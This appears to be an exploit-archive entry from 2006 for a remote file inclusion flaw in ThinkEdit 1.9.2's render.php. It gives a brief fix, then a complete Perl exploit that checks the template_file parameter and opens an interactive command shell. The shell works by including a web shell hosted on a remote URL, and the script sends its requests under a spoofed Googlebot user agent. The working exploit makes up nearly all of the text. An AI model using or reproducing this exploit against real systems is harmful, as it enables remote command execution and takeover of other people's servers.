Author

r0ut3r

Risk

[

Security Risk Unsored

]

0day-ID

0day-ID-1240

Category

web applications

Date add

08-12-2006

Platform

unsorted

================================================================
ThinkEdit 1.9.2 (render.php) Remote File Inclusion Vulnerability
================================================================



#################################################################################################
#                                    r0ut3r Presents...                                         #
#                                                                                               #
#                                Another r0ut3r discovery!                                      #
#                                  writ3r [at] gmail.com                                        #
#                                                                                               #
#                         ThinkEdit Remote File Inclusion Exploit                               #
#################################################################################################
# Software: ThinkEdit 1.9.2                                                                     #
#                                                                                               #
# Vendor: http://www.thinkedit.org/                                                             #
#                                                                                               #
# Released: 2006/12/08                                                                          #
#                                                                                               #
# Discovered & Exploit By: r0ut3r (writ3r [at] gmail.com)                                       #
#                                                                                               #
# Note: The information provided in this document is for ThinkEdit administrator                #
# testing purposes only!                                                                        #
#                                                                                               #
# Solution:                                                                                     #
# Add the below code to the top of render.php                                                   #
# if(basename(__FILE__) == basename($_SERVER['PHP_SELF']))                                      #
#    die();                                                                                     #
#                                                                                               #
# Exploit:                                                                                      #
# perl think.pl http://localhost /think/ http://localhost/cmd.txt cmd                           #
#                                                                                               #
# design/thinkedit/render.php?template_file=                                                    #
#################################################################################################

############################################################################
#                  Remote File Inclusion Exploiter                         #
#                                                                          #
# This script attempts to exploit a remote file include vulnerability      #
# by inserting a web shell into an include statement. A shell is then      #
# spawned.                                                                 #
#                                                                          #
# Created By r0ut3r (writ3r [at] gmail.com)                                #
############################################################################

use IO::Socket;

$port = "80"; # connection port
$target = @ARGV[0]; # localhost
$folder = @ARGV[1]; # /think/
$shellloc = @ARGV[2]; # http://localhost/cmd.txt
$cmdv = @ARGV[3]; # cmd
$vulnerable = false;
$s = true;

sub Header()
{
	print q {Remote File Inclusion Exploiter - By r0ut3r (writ3r [at] gmail.com)
-------------------------------------------------------------------
};
}

sub Usage()
{
	print q
	{
Usage: think.pl [target] [directory] [shell_loc] [cmd_variable]
perl think.pl http://localhost /think/ http://localhost/cmd.txt cmd
};
	exit();
}

Header();

if (!$target || !$folder || !$shellloc || !$cmdv) {
	Usage(); }

if ($s eq false) { print "[-] Shell not found\n"; exit(); }

# Check if the script is vulnerable and register_globals are on (if needed)
$vulnc = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
print $vulnc "GET ".$folder."render.php?template_file=AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA HTTP/1.1\n";
print $vulnc "Host: $target\n";
print $vulnc "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
print $vulnc "Accept: text/html\n";
print $vulnc "Connection: keep-alive\n\n";

while (<$vulnc>) {
	if (/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/) { $vulnerable = true; }
}

if ($vulnerable eq false) { print "[-] Target not vulnerable, or register_globals could be off\n"; exit(); }

print "[+] Starting shell\n";
print "[cmd]\$ ";
$cmd = <STDIN>;
$cmd =~ s/ /%20/g;
while ($cmd !~ "exit")
{
	$xpack = IO::Socket::INET->new(Proto => "tcp", PeerAddr => $target, PeerPort => $port) || die "[-] Failed to connect on exploit attempt. Exiting...\r\n";
	print $xpack "GET ".$folder."render.php?template_file=".$shellloc."&".$cmdv."=".substr($cmd, 0, -1)." HTTP/1.1\n";
	print $xpack "Host: $target\n";
	print $xpack "User-Agent: Googlebot/2.1 (+http://www.google.com/bot.html)\n";
	print $xpack "Accept: text/html\n";
	print $xpack "Connection: keep-alive\n\n";

	print "[cmd]\$ ";
	$cmd = <STDIN>;
}

print "[!] Connection to host lost...\n";



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